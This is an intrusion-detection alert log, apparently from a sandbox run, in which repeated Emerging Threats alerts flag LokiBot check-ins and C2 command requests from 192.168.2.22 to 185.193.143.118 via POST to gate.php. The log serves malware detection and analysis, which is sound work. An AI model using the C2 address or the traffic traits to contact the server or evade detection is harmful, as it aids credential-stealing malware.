12/21/20-08:34:03.833935	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49228	80	192.168.2.22	185.193.143.118
12/21/20-08:34:03.833935	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49228	80	192.168.2.22	185.193.143.118
12/21/20-08:34:04.038430	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49228	185.193.143.118	192.168.2.22
12/21/20-08:34:04.292102	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49229	80	192.168.2.22	185.193.143.118
12/21/20-08:34:04.292102	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49229	80	192.168.2.22	185.193.143.118
12/21/20-08:34:04.292102	TCP	2025381	ET TROJAN LokiBot Checkin	49229	80	192.168.2.22	185.193.143.118
12/21/20-08:34:04.292102	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49229	80	192.168.2.22	185.193.143.118
12/21/20-08:34:04.292102	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49229	80	192.168.2.22	185.193.143.118
12/21/20-08:34:04.473880	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49229	185.193.143.118	192.168.2.22
12/21/20-08:34:04.727065	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49230	80	192.168.2.22	185.193.143.118
12/21/20-08:34:04.727065	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49230	80	192.168.2.22	185.193.143.118
12/21/20-08:34:04.727065	TCP	2025381	ET TROJAN LokiBot Checkin	49230	80	192.168.2.22	185.193.143.118
12/21/20-08:34:04.727065	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49230	80	192.168.2.22	185.193.143.118
12/21/20-08:34:04.727065	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49230	80	192.168.2.22	185.193.143.118
12/21/20-08:34:04.906800	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49230	185.193.143.118	192.168.2.22
12/21/20-08:34:05.184515	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49231	80	192.168.2.22	185.193.143.118
12/21/20-08:34:05.184515	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49231	80	192.168.2.22	185.193.143.118
12/21/20-08:34:05.184515	TCP	2025381	ET TROJAN LokiBot Checkin	49231	80	192.168.2.22	185.193.143.118
12/21/20-08:34:05.184515	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49231	80	192.168.2.22	185.193.143.118
12/21/20-08:34:05.184515	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49231	80	192.168.2.22	185.193.143.118
12/21/20-08:34:05.370030	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49231	185.193.143.118	192.168.2.22
12/21/20-08:34:05.631100	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49232	80	192.168.2.22	185.193.143.118
12/21/20-08:34:05.631100	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49232	80	192.168.2.22	185.193.143.118
12/21/20-08:34:05.631100	TCP	2025381	ET TROJAN LokiBot Checkin	49232	80	192.168.2.22	185.193.143.118
12/21/20-08:34:05.631100	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49232	80	192.168.2.22	185.193.143.118
12/21/20-08:34:05.631100	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49232	80	192.168.2.22	185.193.143.118
12/21/20-08:34:05.812973	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49232	185.193.143.118	192.168.2.22
12/21/20-08:34:06.072213	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49233	80	192.168.2.22	185.193.143.118
12/21/20-08:34:06.072213	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49233	80	192.168.2.22	185.193.143.118
12/21/20-08:34:06.072213	TCP	2025381	ET TROJAN LokiBot Checkin	49233	80	192.168.2.22	185.193.143.118
12/21/20-08:34:06.072213	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49233	80	192.168.2.22	185.193.143.118
12/21/20-08:34:06.072213	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49233	80	192.168.2.22	185.193.143.118
12/21/20-08:34:06.257531	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49233	185.193.143.118	192.168.2.22
12/21/20-08:34:06.518842	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49234	80	192.168.2.22	185.193.143.118
12/21/20-08:34:06.518842	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49234	80	192.168.2.22	185.193.143.118
12/21/20-08:34:06.518842	TCP	2025381	ET TROJAN LokiBot Checkin	49234	80	192.168.2.22	185.193.143.118
12/21/20-08:34:06.518842	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49234	80	192.168.2.22	185.193.143.118
12/21/20-08:34:06.518842	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49234	80	192.168.2.22	185.193.143.118
12/21/20-08:34:06.707419	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49234	185.193.143.118	192.168.2.22
12/21/20-08:34:06.975399	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49235	80	192.168.2.22	185.193.143.118
12/21/20-08:34:06.975399	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49235	80	192.168.2.22	185.193.143.118
12/21/20-08:34:06.975399	TCP	2025381	ET TROJAN LokiBot Checkin	49235	80	192.168.2.22	185.193.143.118
12/21/20-08:34:06.975399	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49235	80	192.168.2.22	185.193.143.118
12/21/20-08:34:06.975399	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49235	80	192.168.2.22	185.193.143.118
12/21/20-08:34:07.170943	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49235	185.193.143.118	192.168.2.22
12/21/20-08:34:07.433149	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49236	80	192.168.2.22	185.193.143.118
12/21/20-08:34:07.433149	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49236	80	192.168.2.22	185.193.143.118
12/21/20-08:34:07.433149	TCP	2025381	ET TROJAN LokiBot Checkin	49236	80	192.168.2.22	185.193.143.118
12/21/20-08:34:07.433149	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49236	80	192.168.2.22	185.193.143.118
12/21/20-08:34:07.433149	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49236	80	192.168.2.22	185.193.143.118
12/21/20-08:34:07.616414	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49236	185.193.143.118	192.168.2.22
12/21/20-08:34:07.882491	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49237	80	192.168.2.22	185.193.143.118
12/21/20-08:34:07.882491	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49237	80	192.168.2.22	185.193.143.118
12/21/20-08:34:07.882491	TCP	2025381	ET TROJAN LokiBot Checkin	49237	80	192.168.2.22	185.193.143.118
12/21/20-08:34:07.882491	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49237	80	192.168.2.22	185.193.143.118
12/21/20-08:34:07.882491	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49237	80	192.168.2.22	185.193.143.118
12/21/20-08:34:08.079046	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49237	185.193.143.118	192.168.2.22
12/21/20-08:34:08.329481	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49238	80	192.168.2.22	185.193.143.118
12/21/20-08:34:08.329481	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49238	80	192.168.2.22	185.193.143.118
12/21/20-08:34:08.329481	TCP	2025381	ET TROJAN LokiBot Checkin	49238	80	192.168.2.22	185.193.143.118
12/21/20-08:34:08.329481	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49238	80	192.168.2.22	185.193.143.118
12/21/20-08:34:08.329481	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49238	80	192.168.2.22	185.193.143.118
12/21/20-08:34:08.518978	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49238	185.193.143.118	192.168.2.22
12/21/20-08:34:08.775653	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49239	80	192.168.2.22	185.193.143.118
12/21/20-08:34:08.775653	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49239	80	192.168.2.22	185.193.143.118
12/21/20-08:34:08.775653	TCP	2025381	ET TROJAN LokiBot Checkin	49239	80	192.168.2.22	185.193.143.118
12/21/20-08:34:08.775653	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49239	80	192.168.2.22	185.193.143.118
12/21/20-08:34:08.775653	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49239	80	192.168.2.22	185.193.143.118
12/21/20-08:34:08.962409	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49239	185.193.143.118	192.168.2.22
12/21/20-08:34:09.232918	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49240	80	192.168.2.22	185.193.143.118
12/21/20-08:34:09.232918	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49240	80	192.168.2.22	185.193.143.118
12/21/20-08:34:09.232918	TCP	2025381	ET TROJAN LokiBot Checkin	49240	80	192.168.2.22	185.193.143.118
12/21/20-08:34:09.232918	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49240	80	192.168.2.22	185.193.143.118
12/21/20-08:34:09.232918	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49240	80	192.168.2.22	185.193.143.118
12/21/20-08:34:09.421864	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49240	185.193.143.118	192.168.2.22
12/21/20-08:34:09.685127	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49241	80	192.168.2.22	185.193.143.118
12/21/20-08:34:09.685127	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49241	80	192.168.2.22	185.193.143.118
12/21/20-08:34:09.685127	TCP	2025381	ET TROJAN LokiBot Checkin	49241	80	192.168.2.22	185.193.143.118
12/21/20-08:34:09.685127	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49241	80	192.168.2.22	185.193.143.118
12/21/20-08:34:09.685127	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49241	80	192.168.2.22	185.193.143.118
12/21/20-08:34:09.882205	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49241	185.193.143.118	192.168.2.22
12/21/20-08:34:10.151639	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49242	80	192.168.2.22	185.193.143.118
12/21/20-08:34:10.151639	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49242	80	192.168.2.22	185.193.143.118
12/21/20-08:34:10.151639	TCP	2025381	ET TROJAN LokiBot Checkin	49242	80	192.168.2.22	185.193.143.118
12/21/20-08:34:10.151639	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49242	80	192.168.2.22	185.193.143.118
12/21/20-08:34:10.151639	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49242	80	192.168.2.22	185.193.143.118
12/21/20-08:34:10.347271	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49242	185.193.143.118	192.168.2.22
12/21/20-08:34:10.607949	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49243	80	192.168.2.22	185.193.143.118
12/21/20-08:34:10.607949	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49243	80	192.168.2.22	185.193.143.118
12/21/20-08:34:10.607949	TCP	2025381	ET TROJAN LokiBot Checkin	49243	80	192.168.2.22	185.193.143.118
12/21/20-08:34:10.607949	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49243	80	192.168.2.22	185.193.143.118
12/21/20-08:34:10.607949	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49243	80	192.168.2.22	185.193.143.118
12/21/20-08:34:10.794916	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49243	185.193.143.118	192.168.2.22
12/21/20-08:34:11.045497	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49244	80	192.168.2.22	185.193.143.118
12/21/20-08:34:11.045497	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49244	80	192.168.2.22	185.193.143.118
12/21/20-08:34:11.045497	TCP	2025381	ET TROJAN LokiBot Checkin	49244	80	192.168.2.22	185.193.143.118
12/21/20-08:34:11.045497	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49244	80	192.168.2.22	185.193.143.118
12/21/20-08:34:11.045497	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49244	80	192.168.2.22	185.193.143.118
12/21/20-08:34:11.244723	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49244	185.193.143.118	192.168.2.22
12/21/20-08:34:11.501199	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49245	80	192.168.2.22	185.193.143.118
12/21/20-08:34:11.501199	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49245	80	192.168.2.22	185.193.143.118
12/21/20-08:34:11.501199	TCP	2025381	ET TROJAN LokiBot Checkin	49245	80	192.168.2.22	185.193.143.118
12/21/20-08:34:11.501199	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49245	80	192.168.2.22	185.193.143.118
12/21/20-08:34:11.501199	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49245	80	192.168.2.22	185.193.143.118
12/21/20-08:34:11.678664	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49245	185.193.143.118	192.168.2.22
12/21/20-08:34:11.935916	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49246	80	192.168.2.22	185.193.143.118
12/21/20-08:34:11.935916	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49246	80	192.168.2.22	185.193.143.118
12/21/20-08:34:11.935916	TCP	2025381	ET TROJAN LokiBot Checkin	49246	80	192.168.2.22	185.193.143.118
12/21/20-08:34:11.935916	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49246	80	192.168.2.22	185.193.143.118
12/21/20-08:34:11.935916	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49246	80	192.168.2.22	185.193.143.118
12/21/20-08:34:12.130193	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49246	185.193.143.118	192.168.2.22
12/21/20-08:34:12.410321	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49247	80	192.168.2.22	185.193.143.118
12/21/20-08:34:12.410321	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49247	80	192.168.2.22	185.193.143.118
12/21/20-08:34:12.410321	TCP	2025381	ET TROJAN LokiBot Checkin	49247	80	192.168.2.22	185.193.143.118
12/21/20-08:34:12.410321	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49247	80	192.168.2.22	185.193.143.118
12/21/20-08:34:12.410321	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49247	80	192.168.2.22	185.193.143.118
12/21/20-08:34:12.596600	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49247	185.193.143.118	192.168.2.22
12/21/20-08:34:12.859761	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49248	80	192.168.2.22	185.193.143.118
12/21/20-08:34:12.859761	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49248	80	192.168.2.22	185.193.143.118
12/21/20-08:34:12.859761	TCP	2025381	ET TROJAN LokiBot Checkin	49248	80	192.168.2.22	185.193.143.118
12/21/20-08:34:12.859761	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49248	80	192.168.2.22	185.193.143.118
12/21/20-08:34:12.859761	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49248	80	192.168.2.22	185.193.143.118
12/21/20-08:34:13.045886	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49248	185.193.143.118	192.168.2.22
12/21/20-08:34:15.289894	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49249	80	192.168.2.22	185.193.143.118
12/21/20-08:34:15.289894	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49249	80	192.168.2.22	185.193.143.118
12/21/20-08:34:15.289894	TCP	2025381	ET TROJAN LokiBot Checkin	49249	80	192.168.2.22	185.193.143.118
12/21/20-08:34:15.289894	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49249	80	192.168.2.22	185.193.143.118
12/21/20-08:34:15.289894	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49249	80	192.168.2.22	185.193.143.118
12/21/20-08:34:15.471557	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49249	185.193.143.118	192.168.2.22
12/21/20-08:34:15.721700	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49250	80	192.168.2.22	185.193.143.118
12/21/20-08:34:15.721700	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49250	80	192.168.2.22	185.193.143.118
12/21/20-08:34:15.721700	TCP	2025381	ET TROJAN LokiBot Checkin	49250	80	192.168.2.22	185.193.143.118
12/21/20-08:34:15.721700	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49250	80	192.168.2.22	185.193.143.118
12/21/20-08:34:15.721700	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49250	80	192.168.2.22	185.193.143.118
12/21/20-08:34:15.909937	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49250	185.193.143.118	192.168.2.22
12/21/20-08:34:16.167681	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49251	80	192.168.2.22	185.193.143.118
12/21/20-08:34:16.167681	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49251	80	192.168.2.22	185.193.143.118
12/21/20-08:34:16.167681	TCP	2025381	ET TROJAN LokiBot Checkin	49251	80	192.168.2.22	185.193.143.118
12/21/20-08:34:16.167681	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49251	80	192.168.2.22	185.193.143.118
12/21/20-08:34:16.167681	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49251	80	192.168.2.22	185.193.143.118
12/21/20-08:34:16.356204	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49251	185.193.143.118	192.168.2.22
12/21/20-08:34:16.612815	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49252	80	192.168.2.22	185.193.143.118
12/21/20-08:34:16.612815	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49252	80	192.168.2.22	185.193.143.118
12/21/20-08:34:16.612815	TCP	2025381	ET TROJAN LokiBot Checkin	49252	80	192.168.2.22	185.193.143.118
12/21/20-08:34:16.612815	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49252	80	192.168.2.22	185.193.143.118
12/21/20-08:34:16.612815	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49252	80	192.168.2.22	185.193.143.118
12/21/20-08:34:16.795536	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49252	185.193.143.118	192.168.2.22
12/21/20-08:34:17.056104	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49253	80	192.168.2.22	185.193.143.118
12/21/20-08:34:17.056104	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49253	80	192.168.2.22	185.193.143.118
12/21/20-08:34:17.056104	TCP	2025381	ET TROJAN LokiBot Checkin	49253	80	192.168.2.22	185.193.143.118
12/21/20-08:34:17.056104	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49253	80	192.168.2.22	185.193.143.118
12/21/20-08:34:17.056104	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49253	80	192.168.2.22	185.193.143.118
12/21/20-08:34:17.290444	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49253	185.193.143.118	192.168.2.22
12/21/20-08:34:17.553276	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49254	80	192.168.2.22	185.193.143.118
12/21/20-08:34:17.553276	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49254	80	192.168.2.22	185.193.143.118
12/21/20-08:34:17.553276	TCP	2025381	ET TROJAN LokiBot Checkin	49254	80	192.168.2.22	185.193.143.118
12/21/20-08:34:17.553276	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49254	80	192.168.2.22	185.193.143.118
12/21/20-08:34:17.553276	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49254	80	192.168.2.22	185.193.143.118
12/21/20-08:34:17.746177	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49254	185.193.143.118	192.168.2.22
12/21/20-08:34:18.009481	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49255	80	192.168.2.22	185.193.143.118
12/21/20-08:34:18.009481	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49255	80	192.168.2.22	185.193.143.118
12/21/20-08:34:18.009481	TCP	2025381	ET TROJAN LokiBot Checkin	49255	80	192.168.2.22	185.193.143.118
12/21/20-08:34:18.009481	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49255	80	192.168.2.22	185.193.143.118
12/21/20-08:34:18.009481	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49255	80	192.168.2.22	185.193.143.118
12/21/20-08:34:18.197959	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49255	185.193.143.118	192.168.2.22
12/21/20-08:34:18.454351	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49256	80	192.168.2.22	185.193.143.118
12/21/20-08:34:18.454351	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49256	80	192.168.2.22	185.193.143.118
12/21/20-08:34:18.454351	TCP	2025381	ET TROJAN LokiBot Checkin	49256	80	192.168.2.22	185.193.143.118
12/21/20-08:34:18.454351	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49256	80	192.168.2.22	185.193.143.118
12/21/20-08:34:18.454351	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49256	80	192.168.2.22	185.193.143.118
12/21/20-08:34:18.645733	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49256	185.193.143.118	192.168.2.22
12/21/20-08:34:18.916195	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49257	80	192.168.2.22	185.193.143.118
12/21/20-08:34:18.916195	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49257	80	192.168.2.22	185.193.143.118
12/21/20-08:34:18.916195	TCP	2025381	ET TROJAN LokiBot Checkin	49257	80	192.168.2.22	185.193.143.118
12/21/20-08:34:18.916195	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49257	80	192.168.2.22	185.193.143.118
12/21/20-08:34:18.916195	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49257	80	192.168.2.22	185.193.143.118
12/21/20-08:34:19.103234	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49257	185.193.143.118	192.168.2.22
12/21/20-08:34:19.360780	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49258	80	192.168.2.22	185.193.143.118
12/21/20-08:34:19.360780	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49258	80	192.168.2.22	185.193.143.118
12/21/20-08:34:19.360780	TCP	2025381	ET TROJAN LokiBot Checkin	49258	80	192.168.2.22	185.193.143.118
12/21/20-08:34:19.360780	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49258	80	192.168.2.22	185.193.143.118
12/21/20-08:34:19.360780	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49258	80	192.168.2.22	185.193.143.118
12/21/20-08:34:19.537757	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49258	185.193.143.118	192.168.2.22
12/21/20-08:34:19.810534	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49259	80	192.168.2.22	185.193.143.118
12/21/20-08:34:19.810534	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49259	80	192.168.2.22	185.193.143.118
12/21/20-08:34:19.810534	TCP	2025381	ET TROJAN LokiBot Checkin	49259	80	192.168.2.22	185.193.143.118
12/21/20-08:34:19.810534	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49259	80	192.168.2.22	185.193.143.118
12/21/20-08:34:19.810534	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49259	80	192.168.2.22	185.193.143.118
12/21/20-08:34:20.007169	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49259	185.193.143.118	192.168.2.22
12/21/20-08:34:20.265620	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49260	80	192.168.2.22	185.193.143.118
12/21/20-08:34:20.265620	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49260	80	192.168.2.22	185.193.143.118
12/21/20-08:34:20.265620	TCP	2025381	ET TROJAN LokiBot Checkin	49260	80	192.168.2.22	185.193.143.118
12/21/20-08:34:20.265620	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49260	80	192.168.2.22	185.193.143.118
12/21/20-08:34:20.265620	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49260	80	192.168.2.22	185.193.143.118
12/21/20-08:34:20.447707	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49260	185.193.143.118	192.168.2.22
12/21/20-08:34:20.716353	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49261	80	192.168.2.22	185.193.143.118
12/21/20-08:34:20.716353	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49261	80	192.168.2.22	185.193.143.118
12/21/20-08:34:20.716353	TCP	2025381	ET TROJAN LokiBot Checkin	49261	80	192.168.2.22	185.193.143.118
12/21/20-08:34:20.716353	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49261	80	192.168.2.22	185.193.143.118
12/21/20-08:34:20.716353	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49261	80	192.168.2.22	185.193.143.118
12/21/20-08:34:20.916420	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49261	185.193.143.118	192.168.2.22
12/21/20-08:34:21.162199	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49262	80	192.168.2.22	185.193.143.118
12/21/20-08:34:21.162199	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49262	80	192.168.2.22	185.193.143.118
12/21/20-08:34:21.162199	TCP	2025381	ET TROJAN LokiBot Checkin	49262	80	192.168.2.22	185.193.143.118
12/21/20-08:34:21.162199	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49262	80	192.168.2.22	185.193.143.118
12/21/20-08:34:21.162199	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49262	80	192.168.2.22	185.193.143.118
12/21/20-08:34:21.349723	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49262	185.193.143.118	192.168.2.22
12/21/20-08:34:21.617247	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49263	80	192.168.2.22	185.193.143.118
12/21/20-08:34:21.617247	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49263	80	192.168.2.22	185.193.143.118
12/21/20-08:34:21.617247	TCP	2025381	ET TROJAN LokiBot Checkin	49263	80	192.168.2.22	185.193.143.118
12/21/20-08:34:21.617247	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49263	80	192.168.2.22	185.193.143.118
12/21/20-08:34:21.617247	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49263	80	192.168.2.22	185.193.143.118
12/21/20-08:34:21.806761	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49263	185.193.143.118	192.168.2.22
12/21/20-08:34:22.049658	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49264	80	192.168.2.22	185.193.143.118
12/21/20-08:34:22.049658	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49264	80	192.168.2.22	185.193.143.118
12/21/20-08:34:22.049658	TCP	2025381	ET TROJAN LokiBot Checkin	49264	80	192.168.2.22	185.193.143.118
12/21/20-08:34:22.049658	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49264	80	192.168.2.22	185.193.143.118
12/21/20-08:34:22.049658	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49264	80	192.168.2.22	185.193.143.118
